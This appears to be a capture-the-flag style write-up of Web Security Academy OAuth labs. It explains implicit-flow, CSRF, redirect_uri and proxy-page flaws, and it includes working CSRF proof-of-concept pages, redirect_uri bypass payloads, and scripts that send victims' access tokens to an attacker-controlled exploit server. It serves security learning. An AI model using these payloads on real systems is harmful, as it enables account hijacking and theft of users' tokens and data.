Vulnerabilities in the Client Application

Improper Implementation of the Implicit Grant Type

In the implicit grant flow, the OAuth service sends the access token to the client application via the user’s browser as a URL fragment. The client uses JavaScript to retrieve the token.

To maintain the session after the user closes the page, the client often sends the access token and user data (e.g., user ID) to the server in a POST request. The server then assigns a session cookie to log in the user. Unlike traditional logins, the server has no passwords or secrets to validate the data, so it implicitly trusts the token.

This POST request is visible to attackers through the browser. If the client application doesn’t verify that the access token matches the user data in the request, attackers can manipulate the parameters and impersonate other users, leading to serious vulnerabilities.

Lab: Authentication Bypass via OAuth Implicit Flow

Abstract

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users’ accounts without knowing their password.

To solve the lab, log in to Carlos’s account. His email address is carlos@carlos-montoya.net.

Info

You can log in with your own social media account using the following credentials: wiener:peter.

Authorization request shows that it is implicit grant type because the URL has response_type=token.

https://oauth-0a6700380415944b8207699502b200ae.oauth-server.net/auth?client_id=zne0s7fkhulrhrd9375yo&redirect_uri=https://0ae100d00400946482ec6b4b001300ef.web-security-academy.net/oauth-callback&response_type=token&nonce=506826589&scope=openid%20profile%20email

We will intercept and tamper the request that has Set-Cookie in its reponse:

POST /authenticate HTTP/2
Host: 0ae100d00400946482ec6b4b001300ef.web-security-academy.net
Cookie: session=grZqOcfTPy0sOWrTSqVDjFHdex7pMrKY
Content-Length: 103
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
 
{"email":"wiener@hotdog.com","username":"wiener","token":"aRAsIbJvJVixeObclU2isyPmqCIrmQ8w2EHqOX7-tSD"}

As the server does not have any data to compare with user’s information, change the email and username for impersonating:

POST /authenticate HTTP/2
Host: 0ae100d00400946482ec6b4b001300ef.web-security-academy.net
Cookie: session=grZqOcfTPy0sOWrTSqVDjFHdex7pMrKY
Content-Length: 111
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
 
{"email":"carlos@carlos-montoya.net","username":"carlos","token":"aRAsIbJvJVixeObclU2isyPmqCIrmQ8w2EHqOX7-tSD"}

Flawed CSRF Protection

The state parameter is a key part of OAuth flows, acting as a CSRF token for the client application. It should contain an unguessable value, like a hash tied to the user’s session, and be passed between the client and the OAuth service.

If the state parameter is missing in an authorization request, it opens the door for attackers to initiate an OAuth flow and trick the user’s browser into completing it, similar to a CSRF attack. This can lead to serious issues depending on how the client app uses OAuth.

Lab: Forced OAuth Profile Linking

Abstract

This lab lets you link a social media profile to your account for OAuth login. However, due to insecure OAuth implementation, attackers can exploit this to access other users’ accounts.

Perform a CSRF attack to link your social media profile to the admin’s account, access the admin panel, and delete Carlos.

Info

The admin user will open anything you send from the exploit server and they always have an active session on the blog website.

You can log in to your own accounts using the following credentials:

  • Blog website account: wiener:peter
  • Social media profile: peter.wiener:hotdog

The authorization request:

GET /auth?client_id=o1ow6gv5up9cyru9dt2t9&redirect_uri=https://0ab2001c03baf345811b7fd20055002c.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a2c0030038cf3fc81e77d4702ee0085.oauth-server.net
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0ab2001c03baf345811b7fd20055002c.web-security-academy.net/

This request reveals some information:

  • The grant type is Authorization Code.
  • The state parameter is missing.

The request used for linking social media profile:

GET /oauth-linking?code=fTyuPngoeXS5lvIbYLUlga_BSpfz7x4jiALnHRR_aQA HTTP/2
Host: 0a7a00c603bc43f981de20c6000500ea.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: https://oauth-0a2c0030038cf3fc81e77d4702ee0085.oauth-server.net/

Intercept the request and generate the PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a7a00c603bc43f981de20c6000500ea.web-security-academy.net/oauth-linking">
      <input type="hidden" name="code" value="fTyuPngoeXS5lvIbYLUlga&#95;BSpfz7x4jiALnHRR&#95;aQA" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Deliver the PoC to the victim and login with social media in another browser that does not have proxy as we need to hold the above request. We will see that we can access the Admin Panel. Then, delete the carlos user for solving the lab.

Vulnerabilities in the OAuth Service

Leaking Authorization Codes and Access Tokens

One of the biggest OAuth vulnerabilities occurs when the OAuth service is misconfigured, allowing attackers to steal authorization codes or access tokens tied to other users’ accounts. If an attacker steals a valid code or token, they can access the victim’s data and potentially log in as them on any app using that OAuth service.

Depending on the grant type, the code or token is sent via the victim’s browser to the /callback endpoint. If the OAuth service doesn’t validate the redirect URI properly, an attacker can trick the victim’s browser into sending the code or token to an attacker-controlled endpoint.

In the authorization code flow, an attacker can steal the victim’s code before it’s used and send it to the legitimate /callback endpoint to gain access. The attacker doesn’t need the client secret or access token, just the victim’s valid session with the OAuth service. Using state or nonce protection won’t stop this, as attackers can generate their own values.

Info

More secure authorization servers require the redirect_uri to be sent when exchanging the code. The server checks if it matches the one from the initial authorization request and rejects the exchange if it doesn’t. Since this happens via a secure server-to-server channel, attackers can’t control the second redirect_uri.

Lab: OAuth Account Hijacking via redirect_uri

Abstract

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users’ accounts.

To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user carlos.

Info

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in with your own social media account using the following credentials: wiener:peter.

We can change the redirect_uri in the authorization request:

GET /auth?client_id=znm7mprdgpid02jcsttmd&redirect_uri=https://google.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
Host: oauth-0a39008e032d2909828b405502260060.oauth-server.net
Cookie: _session=rsI9w4letR-ayLXPImGuk; _session.legacy=rsI9w4letR-ayLXPImGuk
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a8b002d033b29cb827b42cf00930001.web-security-academy.net/

It will be reflected in some places of the response:

HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP
Content-Type: text/html; charset=utf-8
Set-Cookie: _session=rsI9w4letR-ayLXPImGuk; path=/; expires=Thu, 05 Dec 2024 13:54:24 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=rsI9w4letR-ayLXPImGuk; path=/; expires=Thu, 05 Dec 2024 13:54:24 GMT; secure; httponly
Date: Thu, 21 Nov 2024 13:54:24 GMT
Keep-Alive: timeout=5
Content-Length: 195
 
Redirecting to <a href="https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP">https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP</a>.

We will generate the PoC for the above request that has https://exploit-0ac300e603cb297b822d41a301b00083.exploit-server.net as redirect_uri:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://oauth-0a39008e032d2909828b405502260060.oauth-server.net/auth?client_id=znm7mprdgpid02jcsttmd&redirect_uri=https://exploit-0ac300e603cb297b822d41a301b00083.exploit-server.net&response_type=code&scope=openid%20profile%20email"></form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Deliver the PoC and check access log for authorization code:

10.0.3.41       2024-11-21 14:05:26 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.41       2024-11-21 14:05:27 +0000 "GET /?code=TmYVWgdA7Su8bBg_9NUzW21R1DLKXZpGcZYNyqWKLrj HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

Use this code in the callback request to get the session cookie:

GET /oauth-callback?code=TmYVWgdA7Su8bBg_9NUzW21R1DLKXZpGcZYNyqWKLrj HTTP/2
Host: 0a8b002d033b29cb827b42cf00930001.web-security-academy.net
Cookie: session=DJEPTsAjI86yECtHhIaFoiSw5MrSfL8K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a8b002d033b29cb827b42cf00930001.web-security-academy.net/
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=zqUvnaH785Qq3JQXjSXHUHwoyGyH6H89; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 2996

Update the cookie in the browser with this cookie. Then, access the /admin endpoint and delete the carlos user for solving the lab.

Flawed redirect_uri Validation

To prevent attacks, client applications should provide a whitelist of valid callback URIs when registering with the OAuth service. This lets the service check the redirect_uri against the list and block external URIs. However, attackers might still find ways to bypass this validation.

When auditing an OAuth flow, test the redirect_uri parameter to see how it’s validated. Some implementations only check that it starts with an approved domain, allowing changes like adding paths, query parameters, or fragments without triggering an error.

You can try adding extra values to the redirect_uri to exploit differences in how the OAuth service parses it. For example:

https://default-host.com&@foo.evil-user.net#@bar.evil-user.net/

Also, test for server-side parameter pollution by submitting duplicate redirect_uri parameters, like this:

https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net

Some servers treat localhost URIs differently, as they are commonly used in development. In some cases, any redirect_uri starting with localhost may be mistakenly allowed in production, letting you bypass validation by using a domain like localhost.evil-user.net.

Tip

Don’t just focus on testing the redirect_uri parameter alone. In real-world scenarios, you may need to test different combinations of parameters, as changes to one can affect others. For example, switching the response_mode from query to fragment can change how the redirect_uri is parsed, potentially letting you bypass blocks. Also, if the web_message response mode is supported, it may allow more subdomains in the redirect_uri.

Stealing Codes and Access Tokens via a Proxy Page

Try to expand your attack surface within the client application by checking if you can modify the redirect_uri to point to other pages on a whitelisted domain.

Look for ways to access different subdomains or paths. For example, the default redirect_uri might be something like /oauth/callback, but you could use directory traversal tricks like:

https://client-app.com/oauth/callback/../../example/path

This could be interpreted as:

https://client-app.com/example/path

Once you identify other accessible pages, audit them for vulnerabilities to leak the code or token:

  • Authorization code flow: find a way to access query parameters
  • Implicit grant type: focus on extracting the URL fragment.

An open redirect vulnerability is useful for forwarding victims, along with their code or token, to an attacker-controlled domain where you can host malicious scripts.

For the implicit grant, stealing an access token doesn’t just let you log into the victim’s account - it also allows you to make API calls to the OAuth service’s resource server, potentially exposing sensitive data not accessible through the client application’s UI.

Lab: Stealing OAuth Access Tokens via an Open Redirect

Abstract

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

Note

You cannot access the admin’s API key by simply logging in to their account on the client application.

Info

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

This lab uses implicit grant type:

GET /auth?client_id=jb1etcwqf0ub61756snqz&redirect_uri=https://0ad900e403a50d63810630df0084008f.web-security-academy.net/oauth-callback&response_type=token&nonce=-552881171&scope=openid%20profile%20email HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net

This request has a Client-side redirect script in its response:

GET /oauth-callback HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
Cookie: session=bBZ4f1ZEG01bP5mKs0G0hF2BGJBY7U8U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net/
<script>
	const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
	const token = urlSearchParams.get('access_token');
	fetch('https://oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net/me', {
	    method: 'GET',
	    headers: {
	        'Authorization': 'Bearer ' + token,
	        'Content-Type': 'application/json'
	    }
	})
	.then(r => r.json())
	.then(j => 
	    fetch('/authenticate', {
	        method: 'POST',
	        headers: {
	            'Accept': 'application/json',
	            'Content-Type': 'application/json'
	        },
	        body: JSON.stringify({
	            email: j.email,
	            username: j.sub,
	            token: token
	        })
	    }).then(r => document.location = '/'))
</script>

As we can see, the client application will extract the access token from the fragment and send two subsequent requests, one for getting user’s information and one for creating a session that is associated with the user’s information:

GET /me HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net
 
HTTP/2 200 OK
{"sub":"wiener","apikey":"AOTpY3PtBrwgj6xifq1Nf72G6c1rJEuD","name":"Peter Wiener","email":"wiener@hotdog.com","email_verified":true}
POST /authenticate HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
 
{"email":"wiener@hotdog.com","username":"wiener","token":"nz4gPnukMfd61Up-juNpD1hZKEUhvjRoNrlDFBrd2lr"}
 
HTTP/2 302 Found
Location: /
Set-Cookie: session=JnV7TMpj2wpYHvrWw9moMbaTWgHJUK1z; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

The first request also have API key.

Found a request that has open redirect:

GET /post/next?path=https://exploit-0adb009c03820dfb816a2f41016800e5.exploit-server.net HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
HTTP/2 302 Found
Location: https://exploit-0adb009c03820dfb816a2f41016800e5.exploit-server.net
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Also, we can use the path traversal trick in the authorization request:

GET /auth?client_id=jb1etcwqf0ub61756snqz&response_type=token&nonce=552881171&scope=openid%20profile%20email&redirect_uri=https://0ad900e403a50d63810630df0084008f.web-security-academy.net/oauth-callback/../post/next HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net

Now, we can construct the CSRF PoC like this:

<script>
      if (!document.location.hash) {
        window.location = 'https://oauth-0abe00fe0316fa2f807c15fa02b0008e.oauth-server.net/auth?client_id=nj0pun7ujt2ta6hzlnbgr&redirect_uri=https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ad3002003e1faa980f316f601ca0054.exploit-server.net/exploit/&response_type=token&nonce=1591621695&scope=openid%20profile%20email'
      } else {
          window.location = '/?' + document.location.hash.substr(1);
      }
</script>

Here is how the script works:

  1. Initially, an authorization request is sent to the OAuth service with a malicious redirect_uri parameter.
  2. After the user authenticates and provides consent, the OAuth service redirects the user to the redirect_uri. The client application will then direct the user back to the exploit server via https://exploit-0ad3002003e1faa980f316f601ca0054.exploit-server.net/exploit.
  3. Upon accessing the exploit server for the second time, the fragment part of the URL (containing the access token) is extracted and sent to the exploit server at the root path (/).

Deliver the PoC to the victim and check the access log for retrieving admin’s token:

42.115.92.228   2024-11-21 16:13:28 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"
10.0.3.250      2024-11-21 16:13:28 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250      2024-11-21 16:13:29 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250      2024-11-21 16:13:29 +0000 "GET /?access_token=DCVnysDAaehB0ht4W_npFL9NBn8CYXfCZa5JieBdsaA&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250      2024-11-21 16:13:29 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

Use this token to get the API key via the following request:

GET /me HTTP/2
Host: oauth-0abe00fe0316fa2f807c15fa02b0008e.oauth-server.net
Authorization: Bearer DCVnysDAaehB0ht4W_npFL9NBn8CYXfCZa5JieBdsaA
HTTP/2 200 OK
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Origin: https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net
Access-Control-Expose-Headers: WWW-Authenticate
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Thu, 21 Nov 2024 16:15:10 GMT
Keep-Alive: timeout=5
Content-Length: 152
 
{"sub":"administrator","apikey":"fisObrdtm2WYCOeaKeWNOz1nWflk0h1q","name":"Administrator","email":"administrator@normal-user.net","email_verified":true}

Beyond Open Redirects

Attackers can exploit other vulnerabilities to steal OAuth codes or tokens and send them to external domains. Common methods include:

  1. Dangerous JavaScript Handling Query Parameters or Fragments Insecure scripts, such as those using web messaging, can pass tokens through a chain of scripts, eventually leaking them.
  2. XSS Vulnerabilities XSS attacks are especially dangerous when combined with OAuth. Instead of just accessing cookies (often protected by HTTPOnly), stealing an OAuth token allows attackers to use the victim’s account on their own browser, enabling prolonged attacks and data theft.
  3. HTML Injection If JavaScript injection is blocked (e.g., due to CSP), HTML injection might still be viable. For example, injecting a malicious <img> tag can cause browsers to send the Referer header containing the stolen authorization code when fetching the image.

Lab: Stealing OAuth Access Tokens via a Proxy Page

Abstract

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

Info

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

Discover Path Traversal Vulnerability and No Open Redirect

First, found that we can use path traversal on the redirect_uri parameter of the authorization request:

GET /auth?client_id=fmb1zf3i4e1xd8mguxlei&redirect_uri=https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/oauth-callback/../&response_type=token&nonce=-543402967&scope=openid%20profile%20email HTTP/2
HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/#access_token=ASm9s9UldRK8Y_vWsuFU9wNVVWBSjowXefQWxi9xgV6&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

Fail

Due to the absence of open redirect, we can not redirect the callback request to our exploit server.

I did try to find XSS and HTML injection but found nothing.

Obviously, we can not redirect to a POST request such as the comment request to store the access token from the fragment part of the URL.

Identify Web Messaging Vulnerability

Upon examining the application, I discovered the presence of several client-side scripts. For example, a GET request to the following endpoint retrieves a page containing the script below:

GET /post?postId=6 HTTP/2
Host: 0adb00b4030e1e818044766e004a0041.web-security-academy.net
<script>
	window.addEventListener('message', function(e) {
		if (e.data.type === 'oncomment') {
			e.data.content['csrf'] = 'YXOsRvaoVa3j7zV8s0BrV88Zq506LRy1';
			const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
			fetch("/post/comment",
				{
					method: "POST",
					body: body
				}
			).then(r => window.location.reload());
		}
	}, false)
</script>

This script listens for web messages sent from other windows using the postMessage() function. Web messaging allows different windows, such as pop-ups or iframes, to communicate with each other effectively.

When the data sent via postMessage() has a type value of oncomment, the script sends a POST request to /post/comment with the extracted data, which includes a CSRF token ('csrf': 'YXOsRvaoVa3j7zV8s0BrV88Zq506LRy1'). Upon completing the request, the script reloads the current window.

But when is the web message sent? The answer lies in the following iframe embedded within the blog post itself, as part of the same response containing the script above:

<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=6'></iframe>

This iframe loads a new embedded window within the current page to display the comment form. The content of the iframe is retrieved through a GET request to /post/comment/comment-form#postId=6. The server response includes another client-side script:

<script>
	parent.postMessage({type: 'onload', data: window.location.href}, '*');
	function submitForm(form, ev) {
		ev.preventDefault();
		const formData = new FormData(document.getElementById("comment-form"));
		const hashParams = new URLSearchParams(window.location.hash.substr(1));
		const o = {};
		formData.forEach((v, k) => o[k] = v);
		hashParams.forEach((v, k) => o[k] = v);
		parent.postMessage({type: 'oncomment', content: o}, '*');
		form.reset();
	}
</script>

This script performs two main actions:

  1. Initial Web Message: upon loading, it sends a web message to the parent window using postMessage(). This message has a type value of onload and includes the current href in the data field.
  2. Form Submission Handler: it defines a submitForm() function to be triggered when the comment form is submitted. This function:
    • Prevents the default form submission behavior.
    • Extracts form data (e.g., comment, name, email, and website) and combines it with hash parameters (e.g., postId).
    • Packages the data into an object and sends it to the parent window via postMessage() with a type value of oncomment.
    • Finally, it resets the form.

The oncomment message is then processed by the first script in the parent window, which handles the POST request to add a new comment.

It seems we need to leverage the web messaging concept to exploit this vulnerability. Fortunately, I found a relevant blog on the topic: Controlling the web message source | Web Security Academy. In this blog, the author demonstrates how to send a web message from another window using the following iframe:

<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')">

The event handler on the vulnerable website is as follows:

<script>
	window.addEventListener('message', function(e) {
	  eval(e.data);
	});
</script>

When the vulnerable website receives the web message, it executes the print() function.

Building on this concept, I crafted an iframe that redirects to /post?postId=6 and sends a request to add a new comment containing an access token:

<iframe src="https://oauth-0a9b00f303bb1e8f8063748702a7006a.oauth-server.net/auth?
		client_id=fmb1zf3i4e1xd8mguxlei&
		redirect_uri=https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/oauth-callback/../post?postId=6&
		response_type=token&
		nonce=-543402967&
		scope=openid%20profile%20email">
</iframe>
 
<script>
	const iframe = document.querySelector('iframe');
	const iframeURL = iframe.contentWindow.location.href;
	const formData = [
		`name=${encodeURIComponent('attacker')}`,
		`postId=${encodeURIComponent(6)}`,
		`comment=${encodeURIComponent(iframeURL)}`,
		`email=attacker@example.com`
	].join('&');
	
	fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post/comment', {
		method: 'POST',
		mode: 'no-cors',
		credentials: 'include',
		headers: {
			'Content-Type': 'application/x-www-form-urlencoded'
		},
		body: formData
	});
</script>

Explanation of the script:

  • Internal Script Usage: an internal script is used because the inline script in the onload event requires a minified script to function correctly.
  • Avoiding Email Encoding: the @ character in the email parameter must not be URL-encoded, as doing so will cause the server to return a 400 error. To address this, the form data is manually constructed, with encoding applied selectively to other parameters.
  • Sending the Comment Request: to include the user’s cookie with the request, the script sets mode: 'no-cors' and credentials: 'include'. This ensures that the cookies required for authentication are sent along with the request.
Cross-Origin Restrictions

However, there is a problem: we cannot access the contentWindow property, which represents the window object of the iframe, due to restrictions imposed by the SOP:

Error

Exception: SecurityError: Blocked a frame with origin https://exploit-0a1600f603421e49804c758001de0037.exploit-server.net from accessing a cross-origin frame.

After researching this error, I found a helpful post on Stack Overflow: SecurityError: Blocked a frame with origin from accessing a cross-origin frame. The top answer explains that one way to access data from another window is by using an event handler.

Revisiting the second client-side script of /post/comment/comment-form, it’s noticeable that the first postMessage() call sends the URL (including the access token) of the current page to the parent window.

Building on this, I modified the redirect_uri parameter to /post/comment/comment-form and added an event handler in the exploit script to capture the URL from the iframe.

<iframe src="https://oauth-0a9b00f303bb1e8f8063748702a7006a.oauth-server.net/auth?
		client_id=fmb1zf3i4e1xd8mguxlei&
		redirect_uri=https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/oauth-callback/../post/comment/comment-form&
		response_type=token&
		nonce=-543402967&
		scope=openid%20profile%20email">
</iframe>
 
<script>
	window.addEventListener('message', function (e) {
	    if (e.data.type === 'onload') {
	        const formData = [
	            `name=${encodeURIComponent('attacker')}`,
	            `postId=${encodeURIComponent(6)}`,
	            `comment=${encodeURIComponent(e.data.data)}`,
	            `email=attacker@example.com`
	        ].join('&');
	
	        fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post/comment', {
	            method: 'POST',
	            mode: 'no-cors',
	            credentials: 'include',
	            headers: {
	                'Content-Type': 'application/x-www-form-urlencoded'
	            },
	            body: formData
	        });
	    }
	}, false);
</script>
Missing CSRF Token

Missing

At this point, a new problem arises: the CSRF token. The /post/comment endpoint requires a valid CSRF token, which is included in the response of the GET request to /post?postId=#.

To address this, the script sends a GET request to the endpoint and extracts the CSRF token from the response body:

window.addEventListener('message', function (e) {
    if (e.data.type === 'onload') {
        let csrfToken = '';
        
        fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post?postId=6', {
            method: 'GET',
            mode: 'cors',
        }).then((response) => {
            if (response.ok) {
                return response.text();
            } else {
                throw new Error('Failed to fetch the page');
            }
        }).then((html) => {
            const csrfMatch = html.match(/e\.data\.content\['csrf'\]\s*=\s*'([a-zA-Z0-9]+)'/);
            if (csrfMatch) {
                csrfToken = csrfMatch[1];
                console.log('Extracted CSRF Token:', csrfToken);
            } else {
                console.error('CSRF token not found in the response');
            }
        }).catch((error) => {
            console.error('Error:', error);
        });
 
        const formData = [
            `name=${encodeURIComponent('attacker')}`,
            `postId=${encodeURIComponent(6)}`,
            `csrf=${encodeURIComponent(csrfToken)}`,
            `comment=${encodeURIComponent(e.data.data)}`,
            `email=attacker@example.com`
        ].join('&');
 
        fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post/comment', {
            method: 'POST',
            mode: 'no-cors',
            credentials: 'include',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
            },
            body: formData
        });
    }
}, false);

This script extracts the CSRF token dynamically and incorporates it into the comment submission request, overcoming the CSRF protection mechanism.

Fail

The issue is that without using mode: cors, the browser will block access to the response. However, if mode: cors is used, the response must include the ACAO header. Without this header, the browser will still block access to the response.

Final Exploit Script

Hint

The solution reveals that instead of attempting to store the access token on the vulnerable website, we can simply send it to our controlled domain 🤣.

Modify the script into this:

window.addEventListener('message', function (e) {
    if (e.data.type === 'onload') {
	    fetch('/' + encodeURIComponent(e.data.data));
    }        
}, false)

The final exploit script (note that the lab ID may vary due to multiple attempts):

<iframe src="https://oauth-0a1100c8045b3d0286d956690281000c.oauth-server.net/auth?
		client_id=czjsqv8y5gwpbhf99687p&
		redirect_uri=https://0a2b0048045d3d9b8692588000870013.web-security-academy.net/oauth-callback/../post/comment/comment-form&
		response_type=token&
		nonce=270423570&
		scope=openid%20profile%20email">
</iframe>
 
<script>
	window.addEventListener('message', function (e) {
	    if (e.data.type === 'onload') {
		    fetch('/' + encodeURIComponent(e.data.data));
	    }        
	}, false)
</script>

Upload the script to the exploit server and deliver it to the victim. However, the victim does not seem to receive the exploit. According to this blog post, using a standard Chrome browser may help address this issue.

The access log:

58.186.28.190   2024-11-24 06:01:55 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
10.0.3.226      2024-11-24 06:01:56 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.226      2024-11-24 06:01:56 +0000 "GET /https%3A%2F%2F0a1e00780316e2c280347b4f00bd00fd.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3DcaXIyCBlUFcKZrfUKIIdXgWdkC6pAbE4Hbg845Imr1o%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

The access token is caXIyCBlUFcKZrfUKIIdXgWdkC6pAbE4Hbg845Imr1o.

Use this access token in the following request to retreive admin’s API key:

GET /me HTTP/2
Host: oauth-0a49001303afe2df80d379a6026300ab.oauth-server.net
Authorization: Bearer caXIyCBlUFcKZrfUKIIdXgWdkC6pAbE4Hbg845Imr1o
Content-Type: application/json
Origin: https://0a1e00780316e2c280347b4f00bd00fd.web-security-academy.net
